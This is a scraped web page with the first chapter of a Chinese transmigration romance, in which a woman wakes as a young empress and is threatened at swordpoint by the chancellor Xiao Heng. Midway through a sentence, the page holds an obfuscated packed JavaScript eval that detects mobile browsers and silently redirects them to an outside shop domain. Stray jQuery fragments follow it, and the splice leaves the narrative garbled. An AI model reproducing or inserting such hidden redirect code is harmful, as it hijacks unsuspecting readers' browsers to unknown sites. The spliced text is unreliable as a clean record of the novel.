文趣网 > 其他小说 > 权臣宰相要上位 > 1. 穿成女帝 碰上美男
    刘月是被热醒的。

    睁眼,入目是古色生香的雕栋画柱,淡紫色的烟罗纱幔层层叠叠垂落而下。低头,自己正身处在一个巨大的温池之内。白雾袅袅升腾,夹带着浓郁的药草香气将她紧密包罗,熏得她头脑晕胀,几欲喘不上气。

    这是......哪?

    她睁大双眼,迷茫环顾四周,犹记得自己为了升职加薪,已经熬了好几个通宵写方案,之后心脏突然一阵刺痛,眼前发黑失去了意识。

    “陛下终于醒了。”一道冷冽低沉的男声突然从身后响起。

    “谁?”

    刘月犹如惊弓之鸟,下意识双臂交叠,回身朝声音发出的方向看去,越过半遮半掩的纱帘,烛影交辉间一抹高大的身影端坐在几步台阶之上的雅座,手持书卷,正气定神闲地盯着她看。

    此人着宽衣玄袍,束冠长发,装扮古韵十足,两人相隔虽尚且有些距离,但刘月大致也能看出,这是个十分俊美优雅的男人。

    她霎时红了脸,更加局促不安,方才只顾着疑虑自己为何会出现在这里,丝毫没注意到屋内竟还有个男人。

    “这是哪?你......又是哪位?”

    她观男人虽打扮奇怪,但似乎并不是无耻孟浪之人,于是身子往池水里下浮一二,手扶雕花木栏,只露了双含怯的水眸朝上望去,试图从这个男人身上解开心中的疑惑。

    纱帐外传来一声戏谑轻笑:“陛下连臣也不记得了?”

    话毕,竟是从雅座上微微起身。

    刘月见他此举,无心细想他话,不由心急大喊:“站住!”

    男人身形一滞,脚尖旋停于地。

    见他被自己唬住,刘月再次生出判定,此人应该不是歹人,于是硬着头皮小声试探:“那个......帅哥你能先帮我找件衣服穿吗?”

    得先把眼前最紧迫的困境解决,才能往下细究自己身上到底发生了什么。

    男人半晌没有答话,片刻后转过身,对着门外沉声唤:“进来给陛下更衣。”

    话音方落,凉风袭进,门被轻轻推开,一个容貌秀美的宫娥低头走了进来,宫娥手脚麻利地为她擦净身体,再奉上一件宽松的月白陵寝袍,刘月偷偷瞄向男人所在的方向,只见那纱幔后的身影高大挺阔,确实一动不动背对而立。

    即便如此,她还是觉得忐忑不安,强压心中尴尬,低声问正专心为她整理头发的宫女:“诶美女,你们这是在做什么,拍短剧吗?”

    那宫女停下手中动作,白净小脸七分忧虑三分震惊,随后一双大眼竟然氤上水汽。

    刘月哭笑不得,她寻思自己只是正常问话而已,怎会把人家弄哭......

    正措手不及间,耳膜传来男人催促的声音:“还没整理好吗?”

    宫女浑身微震,踮着小步快速离去。

    刘月盯她离去的背影看,这才发现温池木栏外侧的一方木质平台上,有座雕花落地青铜镜,她走近,微微侧身,温润烛光下,青黄的镜面泛着昏暖细腻的柔光,镜子模糊而朦胧地映出一个陌生女孩的模样,大约豆蔻之年,年纪虽小却样貌极美,刘月不由呼吸一滞。

    这是......她?

    霎那间所有信息在这一刻突然串联起来,犹如惊天骇浪拍进脑海,她、她这是穿越了吗?

    刘月头皮一阵发麻,越想越觉得合理,毕竟上学时她没少看那些个穿越小说,对于穿越的套路也略知一二,此情此景不是穿越又是什么?

    而且还是魂穿......

    “陛下可觉身子好些了?”

    冷不丁一声询问响起将她的思绪瞬间拉回,男人不知何时已站至她身后,这幅身子正值青春年少,在一个成年雄伟的男子面前犹如猫咪碰上豺狼。

    刘月甫一回头,一股清幽的檀木香散入鼻腔,入目是他宽厚挺阔的胸膛。

    视线缓缓上移,她又是一愣,毫不夸张地说眼前这男子是她这辈子,哦不,应该是上辈子所见男人中最帅的一个也不为过。

    剑眉浓淡相宜,锋刃般斜飞入鬓,眼型狭长深邃,鼻梁高挺笔直,下颌线条紧实清晰。整张脸虽俊美端正,却无半分暖意,沉静之下藏着股摄人的锋芒。

    刘月一时之间有些看呆了。

    男人好看的眉头却是微微皱起。

    “挺、挺好。”刘月耳后一热,错开目光,想到他此前一直称自己“陛下”,莫不是自己穿成皇帝了?她头脑风暴骤起,随即眸光微亮,既如此眼前男子这般模样又深夜伺她身旁,应该是男/宠吧?

    她昂起头,灼灼目光对上男人沉寂如水的黑眸,小心翼翼试探道:“你是我......朕的男/宠吗?”

    男人眸光一沉。

    刘月还没反应过来,眼前寒光乍闪,一柄锋利阴凉的剑刃已经搁置她脖颈处,如霜般的冷意顿时蔓延至四肢百骸,冰得她浑身激灵。

    她睫羽微颤,缓缓抬头,顺着剑身往上望去,男人持剑,正居高临下地打量她:“你不是楚玉,说,你到底是谁?”

    他斩钉截铁,声音是不容置喙的冷漠。

    “我、我......”刘月张张嘴,却是说不出一句完整的话,她一个现代人哪里见过这种阵仗,被那么长的一把剑悬在脖子上,要死了要死了!

    “我、我就是楚玉,我只是......什么都不记得了而已......”刘月用力咽了咽口水,却是没忍住哽咽出声,两行清泪缓缓顺着眼角流了下来,瘦弱的肩膀也随之抽动不止,“求求你别杀我别杀我......”

    所谓人在屋檐下不得不低头,涉及生死该求饶就得低头求饶,面子哪有小命重要。

    男人见剑下之人如此,却是几不可察轻皱眉头:“陛下总是这般哭哭啼啼,可有半点人君模样。”

    没想到刘月的哭泣求饶竟真的起了作用,男人抽走长剑收之入鞘。

    “记不记得宣太医过来一瞧便是!”

    稍后刘月就被带到了内殿。

    她惊魂未定,百思不得其解,明明自己穿成了女帝,九五至尊天下共主啊,为何这个男人能拿剑指着她?

    他是谁?女帝老子吗?但是看年龄也就二十七八,古人虽说结婚生育早,但这男人怎么看也不像是个做父亲的模样。

    殿外忽而传来通报的声音:“大人,韩太医来了。”

    “进来。”男人说。

    门被打开,刘月闻声望去,进来的是位三十岁左右的女人,手里拎着个扁方形的朱漆药箱,衣着石青长衫,头裹软巾,看起来利落轻便。

    韩太医甫一进门,端坐于矮榻之上的男人便淡淡道:“多亏了韩太医的药浴,陛下已经醒转,只是好似不记得眼下的人和事了,只

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905395|213009||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    能劳烦太医深夜前来再行诊治。”

    韩太医瞥见他腰间长剑,不禁眉心微跳,面上却风云不惊,只对着他微微颔首垂腰:“大人说笑了,保证陛下龙体安康,本就是小人之责。”

    说罢转过屏风,低头躬身,缓着脚步走向御榻,轻放手中漆盒,单膝跪于榻侧,指节握住那从明黄帷帐里伸出的一截嫩白玉手。

    透过纱帐拉开的一点缝隙,刘月瞧这太医素净认真的脸庞,心下奇怪,她这是穿到历史上的哪个朝代了,怎么皇帝和太医都是女人?

    片刻之后,这太医秀眉微蹙,面色变得奇怪起来,时而疑惑时而担忧。

    “韩太医可有诊断?”男人问。

    只一句简单的问话,韩太医额角竟渗出丝丝密汗。

    “大人且稍安勿躁,小人、小人还需再为陛下诊断片刻。”

    刘月在帐内不动声色,观她神情紧张,心下微微叹息,你就算医术再高,也诊不出这副身子失忆的原因是魂被换了。

    想到男人方才持剑行凶的煞人模样,她转动手腕,纤细指节反握住太医手掌,从帷帐内微探出身,指了指自己的后脑勺,用口型对太医道:“头疼,什么都忘了。”

    韩太医蓦然抬首,惊讶片刻瞬间意会。

    “让大人久等,小人观陛下龙体,神识恍惚,应是前几日陛下落水骤逢惊惧,故而灵台失神记忆溃散,当下需静养安神,辅以汤药慢慢调养,不可急治。”

    男人沉吟片刻,方道:“你先退下备药吧。”

    话毕从矮榻起身,转过屏风,缓缓朝御榻走去。

    “是。”韩太医拎起药箱,躬身告退。

    偌大而空荡的内殿只余他俩,刘月躲在帐内,听着那脚步一声一声走向自己,脑门跳的突突的,这人阴晴不定,万一又挥剑往自己脖子上架怎么办?

    “陛下竟真是失忆了。”男人声音终于近在咫尺。

    刘月闷闷地嗯了一声。

    少说少错,毕竟自己嘴笨,前世就因为不够圆滑直来直去而得罪领导,刚才又因为一句无心之言惹得男人拔剑相对,老祖宗说沉默是金是有一定道理的。

    男人沉默半晌,又继续道:“无妨,陛下所忘却的人,臣会带着陛下慢慢认,陛下所忘却的事,臣也有的是时间慢慢教,只要陛下龙体无恙,那便是朝臣之幸大曜之幸。”

    什么教不教幸不幸的?刘月此刻只想让这个坏男人离开,刚才还想持剑行凶,现在又装模作样在这里吟唱,他以为他是谁?帝师吗?还教朕认人做事!

    不过她也确实好奇,这个胆大妄为的狂狷男人到底是谁。

    男人见帐中人无甚反应,便道:“时间不早了,陛下既无恙,臣便先行告退。”

    刘月又听那脚步声渐行渐远。

    她攥了攥身下光滑柔软的锦缎,终是没忍住,圆头圆脑地探出帷帐,睁着双无辜澄澈的大眼问他:“……你还没告诉我你是谁。”

    男人骤然止步,侧眸缓缓回身。

    “臣是这大曜的宰执,名唤萧衡。”

    宰相?宰相敢骑到皇帝头上来!

    刘月还在腹诽,萧衡却眼角微眯,垂眸与她视线相交,一字一句咬得颇深:“所以臣请陛下,莫要再将臣错认为某些个上不得台面的人物了。”

    刘月双颊飞上微红,她就不应该多嘴叫住他。